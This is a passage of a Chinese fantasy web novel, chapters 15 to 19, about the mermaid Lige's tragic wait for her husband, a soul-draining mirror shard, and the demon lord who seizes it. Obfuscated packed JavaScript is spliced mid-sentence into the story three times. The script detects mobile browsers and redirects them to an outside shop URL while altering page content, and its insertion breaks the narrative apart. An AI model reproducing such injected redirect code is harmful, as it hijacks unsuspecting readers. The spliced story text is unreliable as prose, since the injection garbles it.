众人的视线,不得不再次聚焦到离歌和那青衫男子身上。 只见离歌仰着头,对那男子甜甜一笑,声音清脆:“涯哥哥,今日又去打渔了吗?你父亲不是已经答应了你,让你安心温书,准备进京赶考吗?” 她说着,很自然地抬起袖子,替男子擦拭额角沁出的细密汗珠。 在这等贫瘠的小渔村,没有什么精致的手帕,用衣袖拭汗便是最亲昵朴素的关怀。 那被称作涯哥哥的男子容貌清俊,看着离歌的眼神温柔得能滴出水来:“嗯。那你呢,小歌?今天你就一直坐在这里,等着我吗?” 少女下意识想要摇头否认。 男子却一副早已把她看透了的表情,促狭地看着她。 离歌顿时结巴起来,脸颊飞起两朵红云,一直蔓延到耳根,羞得直跺脚:“谁、谁一直坐在这里啦!我……我也是刚出来!涯哥哥你不许胡说,当我不知羞的吗!” 她佯装生气地扭过头,嘴角却抑制不住地上扬。 男子低笑着,伸手紧紧握住她的手,两人并肩,依偎着朝那间小小的渔屋走去。 就在他们踏入屋门的瞬间,众人眼前的景象如同被一只无形的手猛地拨动。 骤然模糊、扭曲,随即又迅速清晰起来。 依旧是那间渔屋,但屋内的陈设似乎有了一些细微的变化,窗外透进来的光线也似乎黯淡了些许,带上了黄昏的暖色调。 而屋内的离歌,模样也有了改变。 她盘起了已婚妇人的发髻,褪去了几分少女的青涩,增添了几许温婉的风韵。 不知时间已然流逝了多久。 她坐在榻边,幸福地偎依在一个男人怀里—— 正是那位涯哥哥,只是面容更成熟稳重了些。 离歌拉着男人的大手,轻轻放在自己微微隆起的小腹上。 她眨了眨那双依旧清澈明亮的眼睛,仰头看着自己的夫君,声音里充满了难以言喻的喜悦和初为人母的羞涩与忐忑: “夫君,能感受到他在动吗?” 她把头轻轻枕在男人的肩膀上,仿佛那是全世界最安稳的港湾。 然后,她用一种带着无尽憧憬和幸福的语气,轻声宣布: “我怀孕了。” 15. 第十五章 温馨的画面还在继续。 离歌与那苏姓书生郎情妾意,虽生活清贫,却蜜里调油。 那书生对怀孕的妻子呵护备至,时常捧着书卷,对着离歌尚且平坦的小腹,念些诗词歌赋,说是要提前熏陶孩儿。 “什么嘛,这不就跟我们在幻境里听到的故事开头一样?真老套,写成话本子都没人乐意看。” 胖师兄双臂抱胸,靴子不耐烦地一下下点着沙地,对这黏黏糊糊的剧情表达了十分的不屑。 然而,温馨的时光总是短暂。 画面猛地一颤。 如同被投入石子的湖面,骤然模糊又清晰起来。 窗外已是暴雨倾盆,电闪雷鸣。 豆大的雨点砸在渔屋简陋的窗台上,发出噼里啪啦的骇人声响。 屋内,传来女子声嘶力竭的哭嚎,一声盖过一声,充满了生产的痛苦与挣扎。 是离歌在临盆。 那苏姓男人在房门外焦急地踱步,面色惨白,双手紧张地交握。 每一次屋内传来的痛呼都让他身形一颤。 不知过了多久,仿佛一个百年那般漫长,离歌凄厉的哭嚎声戛然而止。 随之而来的,是一片死一般的寂静。 这寂静比之前的哭喊更令人心头发毛。 “啊——!” 紧接着,是接生婆一声惊恐到极致的尖叫,仿佛看到了什么世间最可怕的景象。 男人脸色骤变,再也顾不得什么忌讳,猛地推门冲了进去。 只见那接生婆跌坐在地上,浑身抖如筛糠,脸上毫无血色,冷汗浸透了她的粗布衣裳。 她指着床榻的方向,牙齿咯咯打颤,声音断断续续,充满了骇然:“苏、苏家大哥……你你你……你这娘子……她……她不是人啊!” 书生心头巨震,猛地转头看向床榻。 离歌虚弱地躺在那里,发丝被汗水浸透,黏在苍白的脸颊上,怀中紧紧抱着一个襁褓。 “轰隆——” 一道惨白的闪电划破昏暗的天地,震耳欲聋的雷声随之震耳欲聋。 借着那瞬间的光芒,书生清晰地看到了襁褓中的婴儿—— 那孩子下半身不是人类的双腿,而是一条覆盖着细密银色鳞片的、小小的鱼尾! 最可怕的是,那孩子没有哭声,没有任何动作,甚至…… 他感觉不到一丝一毫的呼吸。 那是一个死胎。 一个有着鲛人特征的、失去魂魄的死胎。 “离歌……” 书生感觉过了很久,才从干涩的喉咙里挤出声音,带着他自己都未察觉的颤抖和恐惧,“这到底……是怎么回事?” 离歌面色苍白如纸,刚刚生产耗尽了她所有力气,她嘴唇翕动,试图解释:“我……” 可她只来得及说出一个字—— 便看到男人眼中那无法掩饰的惊骇、怀疑。 他踉跄着后退了一步,随即像是无法再面对这一切,猛地转身,几乎是逃离了这个房间,冲入了门外无尽的暴雨之中。 只留下一个破碎的“我”字,和离歌瞬间空洞绝望的眼神。 后来的发展,便与他们之前在鲛人镇幻境中听到的传言逐渐重合。 离歌生下了患有失魂症的死胎,她被视作不祥,被渔村排斥。 她每天抱着她那永远不会哭、不会笑的孩子,潜入深海,找到那艘不知何时沉没的旧渔船,固执地坐在船头。 默默等待着。 等待着那个或许会回心转意的男人。 一日,一年,十年…… 百年……千年……万年…… 时光在海底仿佛失去了意义。 她一直坐在那条腐朽的沉船上,在永恒的幽暗与寂静里, 执着地, 等待着那个永远不会再回来的人。 又是一阵空灵而哀戚的鲛人歌声响起。 将众人从这段悲伤的往事中拉扯出来。 眼前的景象再次清晰,他们已然回到了真实的、空旷死寂的深海鲛人镇。 离歌依旧坐在那艘沉船船头,轻声吟唱着。 但与幻境中不同的是,她怀里,真真切切地抱着一个包裹在襁褓中、毫无声息的婴孩。 她唱上两句,便会低下头,用脸颊轻轻蹭着怀里的婴儿,动作温柔,仿佛在哄着一个只是睡着的孩子。 “这,这下,我们应该从离歌的幻境里彻底走出去了吧?” 陈澜心有余悸地扯了扯翩翩的袖子,小声问道。 这段跨越漫长时光的执着与等待,看得他心头沉甸甸的。 翩翩点了点头,目光扫过这完完全全、空无一人的海底城镇,声音带着一丝凝重:“嗯,没错,这里就是真实的鲛人镇,一个……” “早已被遗弃的地方。” 她深吸一口冰冷的海水,抬头望向沉船上的离歌,眼神锐利起来。 “这也就意味着——” 她的话音未落,一阵强烈的海底劲风毫无征兆地席卷而来,吹得众人衣袂翻飞,几乎站立不稳。 沉船上的离歌,缓缓抬起头。 她长长的发丝在暗流中飞舞,原本哀婉的面容上,冰冷的神色逐渐浮现。 她抱着孩子,轻盈地从船头游下,向着众人而来。 所有人都屏住了呼吸,灵力暗自运转,法宝握于手中,时刻准备迎接一场恶战。 然而,离歌在离他们几尺远的地方停了下来。她看着如临大敌的众人,忽然笑了下,那笑容带着一种说不出的诡异。 “乖乖待在我为你们打造的幻境里,不好吗?那里有你们想要的真相,有称心如意的结局……我从未想过,一定要与你们为敌。” 她伸出一根手指,轻柔地拂过一条从她身边游过的小鱼,那鱼儿亲昵地蹭了蹭她的指尖。 “或许,如果你们相信了我为你们精心编纂的话本,相信了幻境中关于失魂症的说法,心安理得地接受了那个结局……” “我会考虑,放你们离开呢?” “你在骗人!” 陈澜忍不住站出来,大声反驳,少年清亮的声音在海底显得格外清晰,“任务是你发布的!从一开始就是你把我们引过来的!” “什么沧溟长老,什么如夫人,全都是假的!你从来就没想过要放过我们!你需要我们的生魂,对不对!” 离歌的目光落在陈澜身上,看着他年轻、充满活力、带着红润血色的脸蛋,看着他身上那股蓬勃的生机。 她愣了下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495788|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中闪过一丝极其复杂的情绪,有恍惚,有怀念,更有一种深可见骨的痛楚。 “如果我的孩子能长大……” 她的声音轻得像一声叹息,带着无尽的怅惘,“估计他现在……应该比你要高一点了。” 她眼神放空,仿佛穿透了万载时光,看到了一个永远无法触及的影子。 但下一刻,不知怎的。 那书生抛弃她时惊骇的眼神,那万载孤寂等待的冰冷绝望。 如同最毒的藤蔓瞬间缠绕住她的心脏。 让她顷刻感到窒息。 涯哥哥,你……为什么选择抛弃我? 为什么,连我的解释都不愿意听呢? 她脸上那层勉强维持的、带着伪装的友善面具,仿佛被一只无形的手狠狠撕开,露出了底下扭曲而狰狞的真实表情。 “不过,现在,说这些都没有意义了!” 她的声音陡然变得尖利刺耳,充满了怨毒与疯狂,“你们所有人类!所有薄情寡义、擅长欺骗的人类!都该死!都要成为……我修行道路上的养分!” 她身上突然迸发出耀眼夺目的白色光芒。 那光芒并非圣洁,反而带着一种吞噬一切的诡异气息。 周围的海水随之疯狂呼啸、旋转。 强大的力量逼得翩翩和众人连连后退数步,才能勉强稳住身形。 只有谢不舟,稳稳地站在原地,衣袂在海流的剧烈动荡中猎猎作响,眼神冰冷地注视着异变的中心。 只见从离歌心脏的位置,一点极其璀璨、蕴含着难以言喻的生死法则之力的光芒缓缓透出。 最终,一片只有指甲盖大小、模样古朴、边缘带着不规则裂痕的镜子碎片。 悬浮在了她的胸前。 那碎片虽小,却仿佛是整个天下生与死的缩影。 一半流转着滋养万物的勃勃生机。 一半弥漫着湮灭一切的沉沉死气。 忘川镜碎片! 翩翩和谢不舟心里同时掀起惊涛骇浪。 他们怎会不认得! 忘川镜,那是传说中忘川能力的具象化,是触及天道轮回的至高神器。 生的那部分力量,据说能让魂魄洗涤前尘,安然投入新的轮回。 而死的那部分,拥有的不仅仅是忘却前尘。 更是有着强行吸纳、剥离活人生魂,化为己用的恐怖威能。 因为它乃天道造物,蕴含着本源法则,所以哪怕只是这么一小片碎片,其力量也已然霸道到足以扭曲现实,编织出困住他们所有人的庞大幻境。 只见那忘川镜碎片光华大盛,死寂的那一面骤然占据主导。 一个巨大的、仿佛能吞噬一切的黑暗漩涡以离歌为中心,在海水中骤然形成。 不仅仅是海水、泥沙、珊瑚碎片被疯狂卷入。 更可怕的是,一股无形却无可抗拒的力量,正在强行拉扯着众人的生魂。 仿佛要将他们的魂魄硬生生从躯壳中剥离出去,投入那无尽的黑暗漩涡之中。 “稳住心神!” 聆音师姐急声喝道,但她的声音在灵魂层面的撕扯下显得如此微弱。 修为稍弱的弟子已然面露痛苦。 身形摇晃,眼神开始涣散。 16. 第十六章 忘川镜碎片带来的灵魂撕扯霸道无匹,远超寻常的噬魂邪术。 那漩涡仿佛直通地府,要将活人生魂硬生生拽离躯壳,投入永恒的死寂。 “稳住!抱元守一!” 聆音师姐脸色苍白,喝道,自己却也是身形摇晃,手背的伤口在海流冲击下再度崩裂,氤开缕缕血丝。 胖师兄怒吼着试图挥剑斩向漩涡,剑光却如泥牛入海,连个涟漪都未曾激起,反倒因分神,魂魄险些被扯出一个趔趄。 吓得他赶紧收摄心神,再不敢妄动。 陈澜和其他弟子更是苦苦支撑,个个面无人色。 修为稍弱的已然眼神涣散,嘴角溢出不受控制的痛苦呻吟。 谢不舟眉峰紧蹙,身形定在激流之中。 善恶大剑悬于身前,散发出凛然金光,试图为众人构筑起一道屏障。 然而,这源自天道法则的吞噬之力,针对的是魂魄本源,而非实体攻击。 他的剑意再强,能护住自身灵台清明、对于同门正在被缓慢剥离的生魂,竟是束手无策。 这种无力感,如同细密的冰针,刺入他向来波澜不惊的心湖。 他冰冷的目光扫过在场每一个痛苦挣扎的同门。 不,还有一人例外。 他的视线再次锐利地投向那个身影—— 翩翩。 只见她被海流冲得东倒西歪,发髻散乱,衣衫紧贴身体,显得狼狈不堪。 然而,在那足以让金丹修士都神魂动摇的忘川镜吸力之下,她咬紧牙关,眼神却异常清明坚定,她的生魂…… 竟似完全没有受到影响。 就仿佛那恐怖的吸力对她而言,只是寻常的海底暗流。 “灾星荧惑,盗取忘川镜,屠害生灵,为祸人间!” “她盗取了忘川镜!她十恶不赦!她害得忘川失去效用!” “她害得所有人的灵魂无法转世轮回,害的整个人界到处都是不能投胎、徘徊绝望的生魂,害的人界再少有婴儿降生!” …… 前世掌门震怒的呵斥,以及其他一些模糊却充满恨意的声音,如同诅咒般在他耳边轰然回响。 谢不舟暗暗握紧了拳,指节因用力而泛白。 悬于身前的善恶剑发出不安的嗡鸣,金光与隐晦的杀意交织闪烁。 它在本能地想要保护身后那些痛苦的同门,却又因主人的疑虑与那段充满指控的记忆,对前方那个看似毫无反抗之力的少女,升腾起诛灭的杀意。 杀,还是不杀? 善恶剑的嗡鸣愈发剧烈。 仿佛在进行着天人交战。 最终,剑身的震颤缓缓平息下去,金光稳定地笼罩住谢不舟周身,将那灵魂撕扯之力隔绝在外。 “师兄……你是说,说她是………只是个凡人?” 在琳琅城,满地血迹斑驳。 某位师妹哆哆嗦嗦的声音出现在他耳畔。 它做出了选择。 他做出了选择。 谢不舟最终没有选择在此时,对这个身份成谜的少女挥剑。 而此时,尚不知自己在鬼门关前走了一遭的翩翩,还在拼尽全力抵抗着海流冲击与那令人心悸的吸力。 此刻,她依旧是个无灵根、无法贡献丝毫灵力、在旁人眼中只能拖后腿的…… 无能凡人。 一股前所未有的憋屈和愤怒涌上心头。 她猛地抬起头,目光如两道惊雷,直射向漩涡中心的离歌,用尽力气大声喊道: “离歌!你口口声声说人类背叛了你,你恨他地负心薄幸!但你有没有想过,从一开始,就是你隐瞒了自己鲛人的身份,先欺骗了那个叫苏涯的人类!” 强大的水压和干扰让她喉头一甜,嘴角溢出一缕鲜血,脸颊也被卷起的珊瑚碎屑划破,渗出血珠。 但她浑然不顾,眼神灼灼逼人。 “是你先种下了欺骗的因!却把所有的罪责都推到一个或许根本不明真相的苏涯身上!甚至偏执地认为所有人类都该为你那所谓的、建立在谎言上的情爱陪葬!” 她的话语如同最锋利的匕首,狠狠刺向离歌最不愿面对的痛点。 “收起你那套自我感动的说辞吧!这一切不过都是你在为你自己的贪婪找借口!” “你想要力量!想要用这忘川镜碎片达成你不可告人的目的!所以拼命给自己寻找一个看似站在道德制高点的位置,把自己包装成受害者!” “你以为自己深情被辜负?” “可笑!” “归根结底,你只是个自私自利、不敢面对自身错误的懦夫!” “你胡说!!!” 离歌像是被踩到了尾巴的猫,瞬间炸毛,尖利的声音几乎要刺破众人的耳膜。 她下意识地将怀中的襁褓搂得更紧,神经质地轻轻颠动着,仿佛在哄慰一个受惊的婴儿,尽管那孩子早已死去万年,无知无觉。 “我没有!我没有骗他!我是爱他的!” 她嘶声力竭地反驳,眼中充满了被戳破心事的狂怒,“我一直都在这里!在鲛人镇等他!我等了整整一万年!一万年!你知道一万年有多久吗!你凭什么说我自私!你凭什么说我不爱他!!” 恼羞成怒之下,她周身白光更盛,忘川镜碎片剧烈震颤,引动着更加狂暴的海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的声音不高,却仿佛带着千钧重量,穿透海浪的喧嚣,清晰地传入在场每一个人的耳中,“一万年前,人界……曾经历过一次几乎灭族的、席卷三界的恐怖屠杀。” 她顿了顿,看着离歌那双逐渐由疯狂转为茫然的眸子,一字一句,说出了那个残酷的真相: “你的那位夫君,苏涯……他只是一个普通的人类书生。他很可能……根本没能活过那场浩劫。” “他可能……早就死在一万年前,那场三界大战的屠杀中了。” “所以,从你回到鲛人镇,从你等待的一开始,你就再也等不到他了。” 17. 第十七章 远古之初,天地混沌未分。 天道开辟三界,创人、妖、仙三族。 人族初生,体魄天赋最为孱弱。 然天道垂怜。 特赐予连接轮回的忘川。 赋予其魂魄不灭、生生世世轮回转世之权。 以此弥补其肉身脆弱之缺。 此初代人族,因其魂魄与忘川相连,得享近乎永恒的轮回,故被称为“长明人族”。 但怀璧其罪。 妖族觊觎忘川掌控轮回之力,联合部分仙族,悍然挑起席卷三界的战争。 那场浩劫尸山血海,初代长明人族因身系忘川之秘,首当其冲,竟被屠戮殆尽,无活口存世。 天道震愕,反思或因人族过于弱小方招致此祸。 遂在第二次创造人族时,赋予人族可凭借自身修炼以求成仙的灵根。 以期三界力量达成新的平衡。 而那早已湮灭在历史尘埃中的长明人族。 其名其史,亦随之渐渐被世人遗忘。 离歌跪坐在冰冷的沉船木上,身体蜷缩,仿佛一瞬间被抽走了所有的力气和疯狂。 她抱着那无声无息的襁褓,肩膀剧烈地颤抖着,却发不出任何哭声。 在海底,鲛人的泪,尚未凝结成珠,便已融于无形。 “不……这不对……他……怎么可能,万年前就已经……” 她语无伦次地喃喃,声音破碎不堪,像是被碾过的贝壳。 她常年蛰伏在这与世隔绝的深海鲛人镇。 所有的执念都系于一人一身。 外界天翻地覆,三界大战,人族倾覆…… 这些席卷天地的浩劫。 于她而言,竟遥远得如同另一个世界的故事。 翩翩看着她这副模样,心中亦是感慨万千。 真相往往比谎言更残忍。 “你的夫君苏涯,估计……就是那早已在万年前便被彻底灭绝的,长明一族。” 她缓缓说道,道出了那个尘封在历史尘埃中的名称。 “长明……”离歌喃喃着这个名字。 翩翩看向离歌,目光复杂:“虽然他当初的逃避与嫌恶,未必是假。” “但离歌,他有可能只是需要时间去接受这惊世骇俗的真相。” “又或许,他连想明白、消化这一切的时间都没有等到,就已经惨死在了那场你甚至都不知道的、灭绝种族的大战里,至此——尸骨无存,魂飞魄散,了无音讯。” “不……不是这样的……涯哥哥……哥……” 离歌拼命摇头,仿佛这样就能否定这残酷的真相。但她颤抖的身躯和空洞的眼神,却出卖了她内心正在崩塌的信仰。 万年的等待,瞬间成了一个荒谬而悲凉的笑话。 长明族甚至因为妖族抢夺了最初的忘川,死后无法投胎转世,只能游荡在人界,直到意识也慢慢消亡。 她等的,是一个早已不存在的人。 她的恨,她的怨,她所有的疯狂与偏执,都失去了立足的根基。 “不——!!!” 一声凄厉到极致的哀嚎从她喉中迸发。 那不是愤怒,而是痴心彻底崩塌后的绝望与疯狂。 悬浮在她胸前的忘川镜碎片仿佛感应到了宿主剧烈波动的情绪,猛地爆发出比之前更强盛数倍的白光。 那吞噬生魂的漩涡骤然扩大,吸力暴涨。 “呃啊——!” 这一次,连胖师兄和聆音都忍不住发出了痛苦的闷哼,修为较弱的几个弟子更是直接软倒,魂魄几乎要被硬生生扯出体外,面色瞬间灰败下去。 谢不舟神色一凛,再无之前的淡漠。 他双手结印,低喝一声:“善恶,镇!” 善恶大剑发出一声轰鸣。 剑身迎风暴涨,瞬息间化作一柄与整个深海鲛人镇等高的巨剑。 金光如同实质,带着无上剑威扩散开来,试图强行镇压那失控的忘川镜碎片。 两股绝强力量的碰撞,使得周围的海水疯狂倒卷,形成无数混乱的暗流,海底的地面都开始崩解。 翩翩被这狂暴的冲击逼得连连后退,看着在金光与白光交织中痛苦挣扎的众人。 一股熟悉的、刻骨铭心的无力感再次攫住了她。 她不知道自己已经是第多少次,第多少次像这样,只能眼睁睁地看着。 什么也做不了,什么也改变不了。 就像前世无数次面临绝境时一样…… 当初她之所以拼了命地想要变强,走上那条独一无二的镜修之路,不就是为了…… 不再重复这种令人绝望的无力吗? 她死死握紧拳头,指甲深深陷入掌心。 恍惚间,眼前的景象似乎与久远的记忆重叠。 “来这里的人很多,那你呢,你又为什么需要力量?” 那背影的声音分辨不出男女,带着亘古的沧桑。 翩翩眯起被风雪模糊的眼睛,感觉到另一个自己—— 那个眼神尚且稚嫩却坚定的少女,从自己的身后默默走出。 那是…… 前世的她自己。 “没有原因,” 曾经的翩翩眉目低垂,她甚至直接在那冰天雪地里盘膝坐下,手托着腮,样子有些惫懒 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过去的翩翩讶异,下意识地抬手抚摸上自己的眼眸。 “你想要的——” 那背影的声音仿佛蕴含着天地至理。 “早就在一开始,就已然拥有了。” “它就是你的因果。” 就在这一刻, 一抹金色光晕,猝然自翩翩眼底深处浮现。 那光芒起初极淡,如同深海中的萤火,随即越来越清晰,在她清澈的瞳孔中缓缓勾勒、凝聚,竟隐隐形成一面镜子的轮廓。 那镜影在她眸中流转,蕴含着某种古老而未知的力量,正要挣脱束缚显现于世。 轰—— 几乎在同一瞬间,一股远超善恶剑威压的恐怖力量砸入深海。 谢不舟闷哼一声,不得不收回善恶巨剑转为守势,目光猛地投向海面。 而翩翩眼中那刚刚成型的镜影也随之骤然隐去,金光消散。 她下意识闪身,避开崩塌的珊瑚礁。 混乱的海水与乱流中,一道身影沐浴着从海面透下的扭曲水柱,在众人惊疑不定的目光中,缓缓降临。 “各位,好久不见。” 再次出现在海底的,是见愁那张普普通通,泯然众人的脸。 但眼下, 见愁的那张脸坏笑着,一副看好奇的表情。 “看来我来得不够巧。” 他看了看还在受着生魂拉扯的众人,又看了眼谢不舟和翩翩。 “怎么……大家都这般狼狈?” 18. 第十八章 翩翩和谢不舟几乎在瞬间绷紧了神经。 此人身上散发出的威压,远非普通修士可比,甚至让那方才还搅得天地变色的忘川镜碎片,在他面前都显得如同微弱萤虫。 “哦,不好意思,” 见愁像是才注意到众人的惨状,语气轻飘飘的,带着毫不走心的歉意,“我没注意到各位仙长们还在受苦。” 他脸上挂着浅淡的笑意,眼底却是一片漠然,没有丝毫愧色。 只见他随意地抬起手,对着那仍在疯狂旋转、吞噬生魂的忘川镜碎片轻轻一挥。 那令谢不舟都感到棘手、爆发出恐怖力量的碎片,其上的白光骤然熄灭,漩涡瞬间平息,吞噬之力烟消云散。 仿佛刚才那毁天灭地的场景,只是众人甚嚣尘上的一场幻觉。 “咳……咳咳……” 压力骤消,众弟子纷纷脱力,大口喘息,个个面色惨白如纸,冷汗浸透衣衫。 陈澜更是双腿一软,直接瘫倒在地,心有余悸地看向眼前神秘莫测的见愁,牙关紧咬。 而失去了忘川镜碎片支撑的离歌,如同被抽走了周身的脊骨,身体一软,无声无息地倒在了冰冷的沉船上。 她怀中那执着了万年的襁褓,也随之化作点点微光。 如同被海风吹散的尘埃,彻底消弭于无形。 那碎片,果然是她一切力量的根源。 “见愁小兄弟,” 翩翩稳住气息,目光锐利地看向他,“原来你不是幻境中创造出来的人啊。” 她顿了顿,语气带着试探,“那你药王谷弟子的身份,也是临时编造的了?” “不错。”见愁表示认同。 他抚掌轻笑,那笑容与他之前逆来顺受的脸庞截然不同,充满了玩世不恭与恶劣的趣味,“感谢诸位,我今天真的是——” 他拖长了语调,像是在回味什么美味,“看了一场绝妙的好戏。” 他边说,边闲庭信步般走向离歌倒下的地方,伸手便要去取那悬浮在半空、已然黯淡无光的忘川镜碎片。 就在他的指尖即将触碰到碎片的刹那—— “锵——” 谢不舟动了。 善恶剑发出一声剑鸣,化作一道金光,直刺见愁手腕。 这一剑快、准、狠。 蕴含着他此刻的杀意。 然而,面对这足以开山裂石的一剑,见愁只是微微挑了挑眉,指尖动作未有丝毫停顿。 “哐当!” 一声轻响,并非金铁交击,而是那忘川镜碎片,竟像是受到了某种无形的召唤,异常温顺地、主动地投入了见愁的衣袖之中,消失不见。 而善恶剑斩过的,只是一片虚无的空气。 谢不舟持剑而立,脸色凝重如冰。 “好了,事情都差不多结束了。” 见愁拍了拍衣袖,仿佛只是收起了一件微不足道的小玩意。 他笑容可掬地看着众人,“今天我心情好,放过你们了。” 然而话锋一转,他笑容瞬间变得阴测测的,目光如同毒蛇般扫过每一个人:“但——不会再有下次了。” 话音未落,他周身黑雾翻涌,整个人如同融入漆黑海底,瞬间便消失在了众人的视野之中。 仿佛从未出现过。 “可恶!” 胖师兄强撑着想要起身去追,陈澜也战战兢兢地试图站起。 “嗡——” 善恶剑发出一声低沉的嗡鸣,悬停在半空,稳稳地挡住了他们的去路。 “不用再去追了。” 谢不舟收回目光,声音低沉,带着前所未有的严肃,“此人是妖界现任妖主。” “无忧。” 他望向见愁消失的方向。 脸色阴沉。 —————— 回玉宸宫的路上,众人乘坐着谢不舟那艘装饰清雅、庞大却平稳的上品仙器—— 流云仙舟。 海风拂面,终于离开了那幽暗压抑的深海,所有人都有种恍如隔世之感。 “所以说,这鲛人镇的失魂症,到底是怎么回事呀?” 陈澜实在按捺不住满心的好奇,眼巴巴地看着甲板上的师兄师姐们,希望能有人解答他最后的疑惑。 翩翩从船舱中走出,来到船头,任由带着咸味的海风吹拂着她的长发和衣袂。 她深吸一口自由的空气,脸上露出了些许轻松的神色。 “小师兄别失望呀,我来解答你的疑惑。” 她笑着看向陈澜。 “你还记得那鲛人的忘川镜碎片吗?” 翩翩问。 “记得,当然记得翩翩姐姐!” 陈澜抢答,脸上还带着后怕,“那碎片太可怕了,能吸人生魂!” 等等…… 吸纳生魂? 陈澜猛地反应过来,瞪大了眼睛:“难不成,鲛人镇的失魂症,就是那忘川镜碎片导致的?” “答对了。” 翩翩笑着弹了他一个轻轻的脑瓜崩,“众所周知,完整的忘川镜拥有引导魂魄、轮回转世的无上伟力。” “但某一天,它‘砰’地一下碎掉了。” 她握起拳头,然后猛地松开。 “其中散落的碎片,不知被哪个坏人投入了鲛人镇附近。” “但这碎片毕竟是忘川镜的一部分,它残存的本能,让它以为自己还是那个完整的、执掌轮回的忘川,还在尽职尽责地履行着职责。” 聆音、胖师兄和其他弟子也被他们的对话吸引,慢慢汇聚到了船头。 “可惜,它只是一枚碎片,” 翩翩摊了摊手,“根本没有完整轮回转世的力量。它所谓的履行职责,就产生了反作用——” “它让整个鲛人镇陷入了类似孟婆汤那样被遗忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495791|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的境地,并且,将镇中所有新生儿的生魂,都当作需要引入轮回的对象,给吸纳走了。” “啊啊啊啊啊!听起来好可怕!” 陈澜忍不住打了个冷颤。 “所以,离歌姑娘的孩子,就是这样失魂的。” 聆音接过翩翩的话,语气带着一丝叹息,“而被遗忘的鲛人镇,渐渐只剩下她一个人。她独自守着孩子的躯壳,日复一日,年复一年,最终被碎片中积聚的亡魂哀嚎与绝望吞噬,才一步步走向了那样偏执疯狂的结局。” 聆音也是女子,心中不免唏嘘。 如果没有这枚碎片,或许离歌即便失去夫君,也能在热闹的鲛人镇中,平安喜乐地生活下去。 失去孩子,失去夫君,最后再失去家乡与亲朋…… 只可惜,世间从无如果。 “那……那位妖王,又是怎么回事?” 胖师兄挠了挠头,问出了所有人心中的疑惑。 那天到了最后,就当他以为自己就要葬身此地时,突然出现的那个男人。 恐怖的威压,举重若轻的妖力…… 一向莽夫的胖师兄想起那人,打了个冷颤。 那妖王还说过不会放过他们,不会真这么记仇吧。 谁知道那个见愁就是妖王呢? 而且已那天的情况来看—— 那位妖王展现出的实力,他们刚才根本毫无还手之力。 即便谢师兄全力出手,恐怕也是两败俱伤的局面。 翩翩耸了耸肩,望向无垠的海面:“谁知道呢?那位妖王大人,不是向来都有些……恶趣味吗?” 妖界之主,无忧。 其名寓意无忧。 行事却恰恰相反。 平时最是热衷于在各界搅风搅雨,看热闹不嫌事大,以此为乐。 但是,那枚被他轻易收走的忘川镜碎片…… 一个能轻易平息忘川镜碎片的妖主,收集这等涉及天道轮回的神器碎片。 真的只是为了看一场戏吗? 众人心中都蒙上了一层阴影,仿佛有一个更大的、未知的阴谋。 正在暗处悄然孕育。 “那……” “离歌的夫君,真的就像翩翩姐姐讲的那样,是因为早就死去了,所以才没办法回去找离歌姐姐吗?” 小师弟陈澜的问题,依旧带着少年人特有的天真与执着。 海风吹拂起翩翩的长发,在她身后飘扬。 她望着远方海天一色的景象,轻轻笑了笑,笑容里带着看透世事的淡然与些许怅惘。 “谁知道呢?” 这里面的爱恨纠葛,所有的悲伤、等待、谎言与错过,都已随着离歌的消散,沉入了这无垠深海,成为了一个再也无法对证的故事。 仙舟破开云层,底下是翻涌不息的海浪。 听, 好像有鲛人在歌唱。 19. 第十九章 流云仙舟平稳地穿梭于云海之间,窗外是流动的星子与沉静的夜幕。 舟内一间陈设简洁却又不失雅致的静室内,谢不舟端坐于榻上。 他身前悬浮的玉玦正散发着柔和的光芒。 “……事情大致便是如此。余下细节,待弟子返回宗门后,再向师父一一禀明。” 他声音平稳,听不出太多情绪,简洁地结束了此次远程禀报。 几乎就在他话音落下的同时,玉玦光芒收敛,恢复了古朴模样。 也正是在这一刻, 静室的门被人从外面“吱呀”一声推开。 “嗝…” 未见其人,先闻其声。 一个带着浓郁酒气的饱嗝打破了室内的宁静。 谢不舟面无表情地抬眸,估算了下时辰,此刻已是傍晚。 只见翩翩一手扶着门框,身形东倒西歪地挪了进来,脸颊泛着不正常的酡红。 眼神迷离,显然醉得不轻。 她身上还带着各种灵食佳肴混合的气息,不难推测,除他之外的其他同门,方才定然是进行了一场颇为尽兴的聚餐,甚至—— 动了他珍藏在这仙舟上的灵酒。 谢不舟的目光在她晕红的脸上停顿了一瞬,眸色微深。 “谢……不舟?” 翩翩眯着眼,好不容易才聚焦看清坐在榻上的人,语气带着浓浓的困惑和不满,“你……你怎么在这里?” 她揉了揉发胀的额角,只觉得浑身骨头都在叫嚣着疲惫。 这趟鲛人镇之行,简直是体力和脑力的双重透支,她现在只想找张床瘫成一滩泥。 天塌下来都别叫她。 一想到其他那些修士同门,经历如此恶战后居然还能精力充沛地把酒言欢、高谈阔论,翩翩就忍不住在心里酸溜溜地感慨。 还是当修士好啊,这精力储备简直非人! 